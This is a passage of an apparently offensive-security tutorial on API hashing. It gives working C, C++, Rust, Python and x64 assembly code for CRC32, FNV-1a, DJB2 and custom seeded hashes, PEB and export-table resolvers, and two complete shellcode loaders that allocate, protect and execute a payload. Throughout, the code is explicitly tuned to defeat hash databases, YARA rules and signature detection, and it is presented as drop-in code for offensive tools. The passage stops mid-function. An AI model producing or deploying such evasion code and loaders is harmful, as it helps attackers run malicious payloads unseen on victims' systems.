9. CRC32 Hashing

What it means: CRC32 (Cyclic Redundancy Check 32-bit) is a well-known checksum algorithm, standardized as the IEEE 802.3 polynomial. Malware such as GuLoader has been observed using CRC32-based API hashing. The algorithm uses a lookup table (or computed on-the-fly) that makes it slightly more complex to implement inline in shellcode, but produces a well-distributed 32-bit result.

9.1 CRC32 Algorithm

CRC32 (IEEE 802.3 polynomial: 0xEDB88320):
  crc = 0xFFFFFFFF     (initial value)
  for each byte b:
      crc = crc XOR b
      for 8 bits:
          if (crc & 1):
              crc = (crc >> 1) XOR 0xEDB88320   (reflected polynomial)
          else:
              crc = crc >> 1
  result = crc XOR 0xFFFFFFFF   (final XOR)

9.2 CRC32 — Python Precomputation

#!/usr/bin/env python3
# crc32_precompute.py — CRC32 API hash precomputation

import binascii
import struct

def crc32_api(name: str) -> int:
    """
    Standard CRC32 of a null-terminated API name.
    binascii.crc32 matches the C zlib/CRC32 polynomial.
    """
    data = (name + "\x00").encode('ascii')
    return binascii.crc32(data) & 0xFFFFFFFF

def crc32_uppercase(name: str) -> int:
    """CRC32 of the uppercased name (some malware uppercases before hashing)."""
    return crc32_api(name.upper())

def crc32_custom_poly(name: str, poly: int = 0x04C11DB7) -> int:
    """
    CRC32 with a non-standard polynomial.
    Using a different polynomial defeats signature-based polynomial detection.
    """
    data = (name + "\x00").encode('ascii')
    crc = 0xFFFFFFFF
    for byte in data:
        crc ^= byte
        for _ in range(8):
            if crc & 1:
                crc = (crc >> 1) ^ poly
            else:
                crc >>= 1
    return (~crc) & 0xFFFFFFFF

# ─── Hash generation ─────────────────────────────────────────
apis = [
    "VirtualAlloc", "VirtualProtect", "CreateThread",
    "WriteProcessMemory", "OpenProcess", "LoadLibraryA",
    "NtAllocateVirtualMemory", "NtCreateThreadEx",
]

print(f"{'API Name':<35} {'CRC32':<14} {'Custom Poly CRC32'}")
print("-" * 65)
for api in apis:
    h_std  = crc32_api(api)
    h_cust = crc32_custom_poly(api)
    print(f"{api:<35} 0x{h_std:08X}   0x{h_cust:08X}")

9.3 CRC32 — C++ Compile-Time

// crc32.hpp — Compile-time CRC32 for API hashing (C++14)

#pragma once
#include <cstdint>
#include <array>

namespace crc32hash {

// Standard IEEE CRC32 reflected polynomial
constexpr uint32_t POLY = 0xEDB88320u;

// Generate CRC32 lookup table at compile time
constexpr uint32_t crc32_byte(uint32_t b) {
    for (int i = 0; i < 8; ++i) {
        b = (b & 1) ? ((b >> 1) ^ POLY) : (b >> 1);
    }
    return b;
}

// Compute CRC32 of a string at compile time (C++14 constexpr loop)
constexpr uint32_t crc32(const char* str) {
    uint32_t crc = 0xFFFFFFFFu;
    for (; *str; ++str) {
        crc = (crc >> 8) ^ crc32_byte((crc ^ (uint8_t)*str) & 0xFF);
    }
    // Include null terminator
    crc = (crc >> 8) ^ crc32_byte((crc ^ 0) & 0xFF);
    return crc ^ 0xFFFFFFFFu;
}

} // namespace crc32hash

#define CRC32_HASH(str)  (crc32hash::crc32(str))

// Pre-computed values — generated by Python script
#define HASH_VirtualAlloc           CRC32_HASH("VirtualAlloc")
#define HASH_CreateThread           CRC32_HASH("CreateThread")
#define HASH_WriteProcessMemory     CRC32_HASH("WriteProcessMemory")

10. Custom / Seeded Hash Algorithms

What it means: A major weakness of standard hashing algorithms (ROR13, DJB2, FNV-1a) is that defenders have built large hash-to-API-name databases (notably OALabs' HashDB) that can instantly reverse any standard hash back to the original API name. The solution is to use custom algorithms or add a unique seed to standard algorithms, so your hashes don't appear in any existing lookup table.

10.1 Custom Algorithm Strategies

Strategy 1 — Seed Injection:
  Change the initial hash value (seed) in a known algorithm
  DJB2 default seed:   5381
  Your custom seed:    0xDEADBEEF
  → All output hashes change, but the algorithm structure is same

Strategy 2 — Polynomial / Rotation Change:
  ROR13 → change rotation to ROR7, ROR11, or ROR17
  CRC32 → use a non-standard polynomial
  → Known YARA rules checking for ror eax, 0x0D become ineffective

Strategy 3 — Operation Order Change:
  FNV-1: multiply then XOR
  FNV-1a: XOR then multiply
  Custom: add, shift, XOR in novel order
  → Defeats hash family identification

Strategy 4 — Double Hashing:
  hash1 = ror13(name)
  hash2 = djb2(name)
  stored_value = hash1 ^ hash2    (XOR of two hashes)
  → Reverse requires knowing BOTH algorithms AND the XOR combination

Strategy 5 — Per-Build Random Seed:
  Use __COUNTER__ or __TIME__ macros to randomize seed at compile time
  → Each build produces entirely different hash values
  → Breaks any static signature based on specific hash constants

10.2 Per-Build Randomized Seed (C++ Compile-Time)

// random_seed.hpp — Compile-time random seed injection
// Each build produces unique hash values — defeats hash database lookups

#pragma once
#include <cstdint>

// Compile-time seed derived from build time
// __TIME__ = "HH:MM:SS" string at compilation
constexpr uint32_t _char_to_int(const char* s, int idx) {
    return static_cast<uint32_t>(s[idx]);
}

// Mix build time into a 32-bit seed
constexpr uint32_t BUILD_SEED = 
    (_char_to_int(__TIME__, 0) << 24) |
    (_char_to_int(__TIME__, 3) << 16) |
    (_char_to_int(__TIME__, 6) <<  8) |
    (_char_to_int(__TIME__, 7));

// Apply seed to FNV-1a
constexpr uint32_t FNV_OFFSET_SEEDED = 0x811C9DC5u ^ BUILD_SEED;
constexpr uint32_t FNV_PRIME         = 0x01000193u;

constexpr uint32_t _fnv1a_seeded(const char* str,
                                   uint32_t h = FNV_OFFSET_SEEDED) {
    return *str
        ? _fnv1a_seeded(str + 1, (h ^ (uint8_t)*str) * FNV_PRIME)
        : h;
}

#define APIHASH(str)  (_fnv1a_seeded(str))

// Every build of this binary will have DIFFERENT hash values
// for the same API names — making signature-based detection harder

10.3 Custom XOR-ROR Algorithm

// custom_hash.h — Simple but unique custom algorithm
// Mix of XOR, rotation, and multiplication — avoid all known patterns

#pragma once
#include <stdint.h>

// ─── CUSTOMIZE THESE VALUES PER PROJECT ──────────────────────
#define CUSTOM_SEED      0xABCDEF01u
#define CUSTOM_ROT_BITS  7             // Not 13! Avoids ROR13 detection
#define CUSTOM_XOR_KEY   0xDEAD1337u
// ─────────────────────────────────────────────────────────────

static inline uint32_t _ror32_custom(uint32_t v, int n) {
    return (v >> n) | (v << (32 - n));
}

// Runtime version
static uint32_t custom_hash_runtime(const char* str) {
    uint32_t h = CUSTOM_SEED;
    while (*str) {
        h ^= (uint8_t)(*str++);
        h  = _ror32_custom(h, CUSTOM_ROT_BITS);
        h *= 0x45D9F3Bu;             // Knuth multiplicative constant
        h ^= CUSTOM_XOR_KEY;
    }
    return h;
}

#ifdef __cplusplus
// Compile-time version (C++)
constexpr uint32_t _cx_ror(uint32_t v, int n) {
    return (v >> n) | (v << (32 - n));
}

constexpr uint32_t _custom_hash_cx(const char* str, uint32_t h = CUSTOM_SEED) {
    return *str
        ? _custom_hash_cx(
            str + 1,
            (_cx_ror(h ^ (uint8_t)*str, CUSTOM_ROT_BITS) * 0x45D9F3Bu) ^ CUSTOM_XOR_KEY
          )
        : h;
}

#define CUSTOM_HASH(str)  (_custom_hash_cx(str))
#endif

11. Compile-Time Hashing with constexpr (C++)

What it means: The constexpr specifier in C++ (introduced in C++11) instructs the compiler to evaluate an expression at compile time when possible. When applied to a hashing function, constexpr ensures the hash of "VirtualAlloc" is computed during compilation, and the string "VirtualAlloc" is completely eliminated from the compiled binary. The binary only contains the integer result.

11.1 Why constexpr Matters

Without constexpr (runtime hashing):
  Source:   uint32_t h = hash("VirtualAlloc");
  Binary:   string "VirtualAlloc" stored in .rdata section
            hash() called at program start
            → "strings" scan → finds "VirtualAlloc"

With constexpr (compile-time hashing):
  Source:   constexpr uint32_t h = HASH("VirtualAlloc");
  Binary:   only 0xE553A458 embedded as immediate value
            no function call, no string storage
            → "strings" scan → finds nothing
            → SIGNIFICANTLY harder to analyze statically

11.2 Full constexpr Hashing Header (Production-Ready)

// apihash.hpp — Production compile-time API hashing header
// C++11 compatible. Drop-in for any Windows offensive tool.

#pragma once
#include <cstdint>
#include <windows.h>

// ════════════════════════════════════════════════════════════
// CONFIGURATION — Customize before use
// ════════════════════════════════════════════════════════════
#define APIHASH_SEED        0xDEADBEEFu  // Change per project!
#define APIHASH_PRIME       0x01000193u  // FNV prime (or use your own)
// ════════════════════════════════════════════════════════════

// Lowercase conversion at compile time
constexpr char _api_tolower(char c) {
    return (c >= 'A' && c <= 'Z') ? (char)(c + 0x20) : c;
}

// Core hash recursion — case-insensitive FNV-1a with custom seed
constexpr uint32_t _apihash_cx(const char* s,
                                 uint32_t h = (0x811C9DC5u ^ APIHASH_SEED)) {
    return *s
        ? _apihash_cx(s + 1, (h ^ (uint8_t)_api_tolower(*s)) * APIHASH_PRIME)
        : h;
}

// Public macro — MUST resolve at compile time
#define APIHASH(str)  (static_cast<uint32_t>(_apihash_cx(str)))

// ─── Runtime resolver using PEB walk ─────────────────────────
// Companion to compile-time hash macro

typedef FARPROC (*pfnGetProcAddress)(HMODULE, LPCSTR);

// Walk PEB + EAT to resolve function by compile-time hash
FARPROC ResolveAPIHash(uint32_t target_hash) {
    // Read PEB (x64)
    PPEB peb = (PPEB)__readgsqword(0x60);
    PPEB_LDR_DATA ldr = peb->Ldr;
    PLIST_ENTRY list  = &ldr->InLoadOrderModuleList;
    PLIST_ENTRY entry = list->Flink;

    while (entry != list) {
        PLDR_DATA_TABLE_ENTRY mod =
            CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (mod->DllBase) {
            uint8_t* base = (uint8_t*)mod->DllBase;
            IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
            if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
                entry = entry->Flink;
                continue;
            }

            IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
            DWORD exp_rva = nt->OptionalHeader
                              .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                              .VirtualAddress;

            if (exp_rva) {
                IMAGE_EXPORT_DIRECTORY* exp =
                    (IMAGE_EXPORT_DIRECTORY*)(base + exp_rva);

                DWORD* names    = (DWORD*)(base + exp->AddressOfNames);
                WORD*  ords     = (WORD*) (base + exp->AddressOfNameOrdinals);
                DWORD* funcs    = (DWORD*)(base + exp->AddressOfFunctions);

                for (DWORD i = 0; i < exp->NumberOfNames; i++) {
                    const char* fname = (const char*)(base + names[i]);

                    // Compare runtime hash against compile-time constant
                    if (_apihash_cx(fname) == target_hash) {
                        WORD   ord    = ords[i];
                        DWORD  fn_rva = funcs[ord];
                        return (FARPROC)(base + fn_rva);
                    }
                }
            }
        }
        entry = entry->Flink;
    }
    return nullptr;
}

// ─── Convenience typed resolver macro ────────────────────────
// Creates a typed function pointer and resolves it in one line

#define RESOLVE_API(type, name) \
    ((type)ResolveAPIHash(APIHASH(#name)))

// Usage:
//   auto pVirtualAlloc  = RESOLVE_API(decltype(&VirtualAlloc),  VirtualAlloc);
//   auto pCreateThread  = RESOLVE_API(decltype(&CreateThread),  CreateThread);
//   auto pVirtualProtect = RESOLVE_API(decltype(&VirtualProtect), VirtualProtect);

11.3 Complete Loader Using Compile-Time Hashing

// loader_ct_hash.cpp — Shellcode loader with zero suspicious IAT entries
// All Windows APIs resolved at runtime using compile-time hashes
// Compile: cl /O2 /GS- /nodefaultlib /W0 loader_ct_hash.cpp /link /ENTRY:main

#include "apihash.hpp"  // compile-time APIHASH() macro

// ─── Pre-computed API hashes (no strings in binary!) ─────────
#define HASH_VirtualAlloc           APIHASH("VirtualAlloc")
#define HASH_VirtualProtect         APIHASH("VirtualProtect")
#define HASH_CreateThread           APIHASH("CreateThread")
#define HASH_WaitForSingleObject    APIHASH("WaitForSingleObject")

// ─── Function pointer types ───────────────────────────────────
typedef LPVOID (WINAPI *pfnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL   (WINAPI *pfnVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *pfnCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
                                          LPTHREAD_START_ROUTINE,
                                          LPVOID, DWORD, LPDWORD);
typedef DWORD  (WINAPI *pfnWaitForSingleObject)(HANDLE, DWORD);

// ─── Shellcode payload (replace with real payload) ───────────
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0,  // Replace with your encrypted payload
    // ... (AES/XOR encrypted shellcode here)
};
unsigned int shellcode_len = sizeof(shellcode);

int main() {
    // ─── Step 1: Resolve all needed APIs (no GetProcAddress in IAT) ───
    pfnVirtualAlloc       pVirtualAlloc    =
        (pfnVirtualAlloc)       ResolveAPIHash(HASH_VirtualAlloc);
    pfnVirtualProtect     pVirtualProtect  =
        (pfnVirtualProtect)     ResolveAPIHash(HASH_VirtualProtect);
    pfnCreateThread       pCreateThread    =
        (pfnCreateThread)       ResolveAPIHash(HASH_CreateThread);
    pfnWaitForSingleObject pWaitForSingle  =
        (pfnWaitForSingleObject)ResolveAPIHash(HASH_WaitForSingleObject);

    if (!pVirtualAlloc || !pVirtualProtect ||
        !pCreateThread || !pWaitForSingle) {
        return 1;  // Resolution failed — bail silently
    }

    // ─── Step 2: Allocate RW memory (not RWX — avoid PAGE_EXECUTE_READWRITE) ─
    LPVOID mem = pVirtualAlloc(NULL, shellcode_len,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_READWRITE);  // RW only first
    if (!mem) return 1;

    // ─── Step 3: Copy + decrypt shellcode ────────────────────
    // (Add your XOR/AES decryption here)
    for (size_t i = 0; i < shellcode_len; i++) {
        ((unsigned char*)mem)[i] = shellcode[i];  // decrypt inline
    }

    // ─── Step 4: Change to RX (no execute permission until needed) ───
    DWORD old_protect = 0;
    pVirtualProtect(mem, shellcode_len, PAGE_EXECUTE_READ, &old_protect);

    // ─── Step 5: Execute via thread ──────────────────────────
    HANDLE hThread = pCreateThread(NULL, 0,
                                    (LPTHREAD_START_ROUTINE)mem,
                                    NULL, 0, NULL);
    if (hThread) {
        pWaitForSingle(hThread, 0xFFFFFFFF);
    }
    return 0;
}

12. Compile-Time Hashing in Rust

What it means: Rust's const fn (introduced in Rust 1.31, expanded through 1.46+) provides compile-time computation equivalent to C++'s constexpr. Rust is increasingly used for offensive tooling because of its memory safety, no runtime required by default, and zero-cost abstractions. Hash values computed with const fn are inlined as immediates in the compiled binary — no strings appear in the output.

12.1 Full Rust API Hash Resolver

// api_hash.rs — Compile-time API hashing for Windows offensive tooling in Rust

#![no_std]
#![allow(non_snake_case)]

use core::arch::asm;

// ─── Configuration ────────────────────────────────────────────
const DJB2_SEED: u32 = 0xDEAD_BEEFu32;  // Change per project!

// ─── Compile-Time DJB2 Hash (const fn) ───────────────────────
pub const fn djb2(name: &[u8]) -> u32 {
    let mut h = DJB2_SEED;
    let mut i = 0;
    while i < name.len() {
        h = h.wrapping_mul(33).wrapping_add(name[i] as u32);
        i += 1;
    }
    h
}

/// Case-insensitive variant — match regardless of DLL export name casing
pub const fn djb2_ci(name: &[u8]) -> u32 {
    let mut h = DJB2_SEED;
    let mut i = 0;
    while i < name.len() {
        let c = if name[i] >= b'A' && name[i] <= b'Z' {
            name[i] + 32  // to lowercase
        } else {
            name[i]
        };
        h = h.wrapping_mul(33).wrapping_add(c as u32);
        i += 1;
    }
    h
}

// ─── Pre-computed Constants ───────────────────────────────────
// All computed at compile time — strings erased from binary
const HASH_VIRTUAL_ALLOC:     u32 = djb2(b"VirtualAlloc");
const HASH_VIRTUAL_PROTECT:   u32 = djb2(b"VirtualProtect");
const HASH_CREATE_THREAD:     u32 = djb2(b"CreateThread");
const HASH_WRITE_PROC_MEM:    u32 = djb2(b"WriteProcessMemory");
const HASH_WAIT_FOR_SINGLE:   u32 = djb2(b"WaitForSingleObject");
const HASH_NT_ALLOC_VIRT_MEM: u32 = djb2(b"NtAllocateVirtualMemory");

// ─── PEB Structures (Windows internals) ──────────────────────
#[repr(C)]
struct ListEntry {
    flink: *mut ListEntry,
    blink: *mut ListEntry,
}

#[repr(C)]
struct UnicodeString {
    length:      u16,
    max_length:  u16,
    _pad:        u32,
    buffer:      *const u16,  // wchar_t*
}

#[repr(C)]
struct LdrDataTableEntry {
    in_load_order_links: ListEntry,
    in_memory_order_links: ListEntry,
    in_init_order_links: ListEntry,
    dll_base: *const u8,
    entry_point: *const u8,
    size_of_image: u32,
    _pad: u32,
    full_dll_name: UnicodeString,
    base_dll_name: UnicodeString,
}

// Get PEB address via GS register (x64)
unsafe fn get_peb() -> *const u8 {
    let peb: *const u8;
    asm!(
        "mov {}, gs:[0x60]",
        out(reg) peb,
        options(nostack, pure, nomem)
    );
    peb
}

// ─── EAT Parser ───────────────────────────────────────────────
unsafe fn resolve_by_hash(module_base: *const u8, target_hash: u32) -> Option<*const u8> {
    // Parse DOS and NT headers
    let dos_magic = *(module_base as *const u16);
    if dos_magic != 0x5A4D { return None; }  // "MZ"

    let e_lfanew  = *(module_base.add(0x3C) as *const u32);
    let nt_hdrs   = module_base.add(e_lfanew as usize);

    // Export directory RVA at OptionalHeader+DataDirectory[0].VirtualAddress
    // PE32+ (x64): OptionalHeader at NT+0x18, DataDirectory at +0x70 → total 0x88
    let exp_rva   = *(nt_hdrs.add(0x88) as *const u32);
    if exp_rva == 0 { return None; }

    let exp_dir   = module_base.add(exp_rva as usize);

    let num_names = *(exp_dir.add(0x18) as *const u32);
    let names_rva = *(exp_dir.add(0x20) as *const u32);
    let ords_rva  = *(exp_dir.add(0x24) as *const u32);
    let funcs_rva = *(exp_dir.add(0x1C) as *const u32);

    let names = module_base.add(names_rva as usize) as *const u32;
    let ords  = module_base.add(ords_rva  as usize) as *const u16;
    let funcs = module_base.add(funcs_rva as usize) as *const u32;

    for i in 0..num_names {
        let name_rva = *names.add(i as usize);
        let name_ptr = module_base.add(name_rva as usize);

        // Build byte slice for hashing (scan for null terminator)
        let mut len = 0usize;
        while *name_ptr.add(len) != 0 { len += 1; }
        let name_bytes = core::slice::from_raw_parts(name_ptr, len);

        if djb2(name_bytes) == target_hash {
            let ordinal  = *ords.add(i as usize) as usize;
            let fn_rva   = *funcs.add(ordinal);
            return Some(module_base.add(fn_rva as usize));
        }
    }
    None
}

// ─── Public API — resolve any Windows function by hash ────────
pub unsafe fn get_proc(target_hash: u32) -> Option<*const u8> {
    let peb      = get_peb();
    let ldr      = *(peb.add(0x18) as *const *const u8);
    let mut flink = *(ldr.add(0x20) as *const *const ListEntry);
    let list_head = flink;

    loop {
        let entry = (flink as *const u8).sub(0x10) as *const LdrDataTableEntry;
        let dll_base = (*entry).dll_base;

        if !dll_base.is_null() {
            if let Some(addr) = resolve_by_hash(dll_base, target_hash) {
                return Some(addr);
            }
        }

        flink = (*flink).flink;
        if flink == list_head { break; }
    }
    None
}

13. Full IAT-Clean Loader Implementation (C)

What it means: A complete end-to-end implementation that demonstrates compile-time API hashing in a real shellcode loader context. The binary's import table contains only benign decoy functions; all offensive APIs are resolved at runtime via hash matching.

13.1 Complete Implementation

// iat_clean_loader.c
// Compile: cl /O2 /GS- /W0 iat_clean_loader.c /link /NODEFAULTLIB /ENTRY:main
// Result:  Zero suspicious imports in IAT

#include <windows.h>
#include <stdint.h>

// ─── CONFIG: Change SEED per project ──────────────────────────
#define HASH_SEED  0xC0FFEE42u

// ─── Compile-time FNV-1a with custom seed ────────────────────
#ifdef __cplusplus
constexpr uint32_t _fnv_cx(const char* s,
                             uint32_t h = (0x811C9DC5u ^ HASH_SEED)) {
    return *s
        ? _fnv_cx(s + 1, (h ^ (uint8_t)*s) * 0x01000193u)
        : h;
}
#define HASH(str)  (_fnv_cx(str))
#else
// C fallback — compute at runtime (still removes strings if compiler optimizes)
#define HASH(str)  (fnv1a_runtime(str))
static uint32_t fnv1a_runtime(const char* s) {
    uint32_t h = 0x811C9DC5u ^ HASH_SEED;
    while (*s) { h ^= (uint8_t)(*s++); h *= 0x01000193u; }
    return h;
}
#endif

// ─── API Hash Constants (evaluated at compile time in C++) ────
#define H_VirtualAlloc        HASH("VirtualAlloc")
#define H_VirtualProtect      HASH("VirtualProtect")
#define H_CreateThread        HASH("CreateThread")
#define H_WaitForSingleObject HASH("WaitForSingleObject")
#define H_GetTickCount        HASH("GetTickCount")   // benign decoy in IAT

// ─── Type Definitions ─────────────────────────────────────────
typedef LPVOID (WINAPI *PFN_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL   (WINAPI *PFN_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *PFN_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
                                           LPTHREAD_START_ROUTINE,
                                           LPVOID, DWORD, LPDWORD);
typedef DWORD  (WINAPI *PFN_WaitForSingleObject)(HANDLE, DWORD);

// ─── Minimal PEB/PE structures (avoid including all of ntdef.h) ─
typedef struct _PEB_LDR {
    BYTE  Reserved[8];
    PVOID Reserved2[3];
    LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR;

typedef struct _LDR_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID      DllBase;
    PVOID      EntryPoint;
    ULONG      SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} LDR_ENTRY;

// ─── Hash match function (runtime hash of EAT names) ──────────
static uint32_t runtime_hash(const char* s) {
    uint32_t h = 0x811C9DC5u ^ HASH_SEED;
    while (*s) { h ^= (uint8_t)(*s++); h *= 0x01000193u; }
    return h;
}

// ─── EAT walker ───────────────────────────────────────────────
static FARPROC find_in_module(HMODULE hmod, uint32_t target) {
    uint8_t* base = (uint8_t*)hmod;
    IMAGE_DOS_HEADER*  dos = (IMAGE_DOS_HEADER*)base;
    if (dos->e_magic != 0x5A4D) return NULL;

    IMAGE_NT_HEADERS*  nt  = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
    DWORD exp_rva = nt->OptionalHeader
                     .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                     .VirtualAddress;
    if (!exp_rva) return NULL;

    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(base + exp_rva);
    DWORD* names = (DWORD*)(base + exp->AddressOfNames);
    WORD*  ords  = (WORD*) (base + exp->AddressOfNameOrdinals);
    DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        if (runtime_hash((char*)(base + names[i])) == target) {
            return (FARPROC)(base + funcs[ords[i]]);
        }
    }
    return NULL;
}

// ─── PEB walker: resolve from any loaded module ───────────────
static FARPROC resolve(uint32_t hash) {
#ifdef _WIN64
    PPEB peb = (PPEB)__readgsqword(0x60);
#else
    PPEB peb = (PPEB)__readfsdword(0x30);
#endif
    PEB_LDR* ldr      = (PEB_LDR*)peb->Ldr;
    LIST_ENTRY* list  = &ldr->InLoadOrderModuleList;
    LIST_ENTRY* entry = list->Flink;

    while (entry != list) {
        LDR_ENTRY* mod = CONTAINING_RECORD(entry, LDR_ENTRY, InLoadOrderLinks);
        if (mod->DllBase) {
            FARPROC f = find_in_module((HMODULE)mod->DllBase, hash);
            if (f) return f;
        }
        entry = entry->Flink;
    }
    return NULL;
}

// ─── Shellcode (replace with actual payload) ──────────────────
static unsigned char shellcode[] = {
    /* Encrypted/encoded shellcode bytes here */
    0x90, 0x90, 0x90, 0xC3  // NOP NOP NOP RET (placeholder)
};

// ─── Entry point ──────────────────────────────────────────────
int main(void) {
    // Resolve all APIs via hash (no imports = clean IAT)
    PFN_VirtualAlloc        pVA  = (PFN_VirtualAlloc)       resolve(H_VirtualAlloc);
    PFN_VirtualProtect      pVP  = (PFN_VirtualProtect)     resolve(H_VirtualProtect);
    PFN_CreateThread        pCT  = (PFN_CreateThread)        resolve(H_CreateThread);
    PFN_WaitForSingleObject pWSO = (PFN_WaitForSingleObject) resolve(H_WaitForSingleObject);

    if (!pVA || !pVP || !pCT || !pWSO) return 1;

    // Allocate RW (not RWX — avoid suspicious protection flags)
    LPVOID mem = pVA(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!mem) return 1;

    // Copy shellcode (add decryption here)
    for (size_t i = 0; i < sizeof(shellcode); i++)
        ((unsigned char*)mem)[i] = shellcode[i];

    // Flip to RX
    DWORD old = 0;
    pVP(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &old);

    // Execute
    HANDLE t = pCT(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
    if (t) pWSO(t, 0xFFFFFFFF);

    return 0;
}

14. Shellcode-Embedded API Resolver (x64 Assembly)

What it means: In pure shellcode (position-independent code with no PE structure), all API resolution must happen inline in assembly. The Stephen Fewer block_api is the canonical example — a self-contained assembly routine that implements PEB walk + EAT parsing + ROR13 hashing in under 100 bytes, used by Metasploit since 2009.

14.1 Minimal x64 Hash-Based API Resolver (NASM)

; api_resolver_x64.asm — Position-independent API resolver
; Calls via: push arg2; push arg1; push HASH; call resolve_api
; Returns: rax = function address, or 0 if not found
; Based on Stephen Fewer's block_api technique

BITS 64

resolve_api:
    ; Save registers we'll use
    push   rbx
    push   rdi
    push   rsi
    push   r8
    push   r9
    push   r10
    push   r11

    ; Get the target hash from stack (pushed by caller before call)
    mov    r11d, [rsp + 0x40]    ; r11d = target hash (adjust offset per calling convention)

    ; ─── Step 1: Get PEB ─────────────────────────────────────
    mov    rax, gs:[0x60]        ; rax = PEB
    mov    rax, [rax + 0x18]     ; rax = PEB.Ldr
    mov    rax, [rax + 0x20]     ; rax = InLoadOrderModuleList.Flink

.walk_modules:
    mov    rbx, rax              ; rbx = current LDR_DATA_TABLE_ENTRY

    ; Check for end of list (Flink == list head)
    cmp    rbx, 0
    je     .not_found

    ; ─── Step 2: Get module DLL base ─────────────────────────
    mov    r9, [rbx + 0x10]      ; r9 = DllBase
    test   r9, r9
    jz     .next_module

    ; ─── Step 3: Hash the module DLL name (for combined hash) ─
    ; (Simplified: skip module name hashing for function-only hash)

    ; ─── Step 4: Parse EAT ───────────────────────────────────
    mov    eax, [r9 + 0x3C]      ; eax = e_lfanew (DOS header)
    mov    r8d, [r9 + rax + 0x88] ; r8d = export dir RVA
    test   r8d, r8d
    jz     .next_module

    lea    r8, [r9 + r8]         ; r8 = export directory VA
    mov    ecx, [r8 + 0x18]      ; ecx = NumberOfNames
    mov    r10d, [r8 + 0x20]     ; r10d = AddressOfNames RVA
    lea    r10, [r9 + r10]       ; r10 = AddressOfNames VA
    xor    rdi, rdi              ; rdi = name index = 0

.walk_exports:
    cmp    edi, ecx
    jge    .next_module

    ; Get name string
    mov    esi, [r10 + rdi*4]    ; esi = name RVA
    lea    rsi, [r9 + rsi]       ; rsi = name string VA

    ; ─── ROR13 hash of function name ─────────────────────────
    xor    eax, eax              ; hash = 0
.hash_loop:
    movzx  edx, byte [rsi]
    test   dl, dl
    jz     .hash_done
    ror    eax, 0x0D             ; rotate right 13
    add    eax, edx
    inc    rsi
    jmp    .hash_loop
.hash_done:
    ror    eax, 0x0D             ; final rotation

    ; Compare with target hash
    cmp    eax, r11d
    jne    .next_export

    ; ─── Found! Resolve address ──────────────────────────────
    mov    r10d, [r8 + 0x24]     ; r10d = AddressOfNameOrdinals RVA
    lea    r10, [r9 + r10]
    movzx  eax, word [r10 + rdi*2]  ; ordinal = ordinals[i]

    mov    r10d, [r8 + 0x1C]     ; r10d = AddressOfFunctions RVA
    lea    r10, [r9 + r10]
    mov    eax, [r10 + rax*4]    ; fn_rva = functions[ordinal]
    lea    rax, [r9 + rax]       ; fn_va  = DllBase + fn_rva
    jmp    .done

.next_export:
    inc    edi
    jmp    .walk_exports

.next_module:
    mov    rax, [rbx]            ; Flink of current entry
    jmp    .walk_modules

.not_found:
    xor    rax, rax

.done:
    pop    r11
    pop    r10
    pop    r9
    pop    r8
    pop    rsi
    pop    rdi
    pop    rbx
    ret

14.2 Usage in Shellcode Body

; example_shellcode.asm — Using the resolver

BITS 64
DEFAULT REL

; After resolver is defined, call functions like:
;   push  HASH                  ; Push compile-time computed hash
;   call  resolve_api           ; Resolve → rax = function pointer
;   push  args...               ; Push actual function arguments
;   call  rax                   ; Call the resolved function

_start:
    ; Example: call VirtualAlloc
    ; ROR13("VirtualAlloc") = 0xE553A458

    push   0xE553A458           ; Hash for VirtualAlloc
    call   resolve_api

    ; rax = VirtualAlloc address
    ; Now set up VirtualAlloc arguments and call:
    xor    rcx, rcx             ; lpAddress = NULL
    mov    rdx, 0x1000          ; dwSize = 0x1000
    mov    r8,  0x3000          ; flAllocationType = MEM_COMMIT|MEM_RESERVE
    mov    r9,  0x40            ; flProtect = PAGE_EXECUTE_READWRITE
    call   rax                  ; VirtualAlloc(NULL, 0x1000, 0x3000, 0x40)

15. Hash Precomputation Tools & Scripts

What it means: Manually computing hashes for every API function is error-prone. Use automation scripts to generate hash tables, C headers, or lookup dictionaries. These are run once at development time, and the output is copy-pasted into your loader.

15.1 Universal Hash Generator (Python)

#!/usr/bin/env python3
# hash_generator.py — Generate hash tables for multiple algorithms
# Run once → paste output into your C/C++ or Rust code

import binascii
import struct
import sys

# ─── Hash functions ────────────────────────────────────────────

def ror32(v, n):
    return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF

def ror13(s):
    h = 0
    for b in (s + '\x00').encode():
        h = ror32(h, 13)
        h = (h + b) & 0xFFFFFFFF
    return h

def djb2(s, seed=5381):
    h = seed
    for b in s.encode():
        h = ((h << 5) + h + b) & 0xFFFFFFFF
    return h

def fnv1a32(s, seed=0xCAFEBABE):
    h = 0x811C9DC5 ^ seed
    for b in s.encode():
        h = ((h ^ b) * 0x01000193) & 0xFFFFFFFF
    return h

def crc32(s):
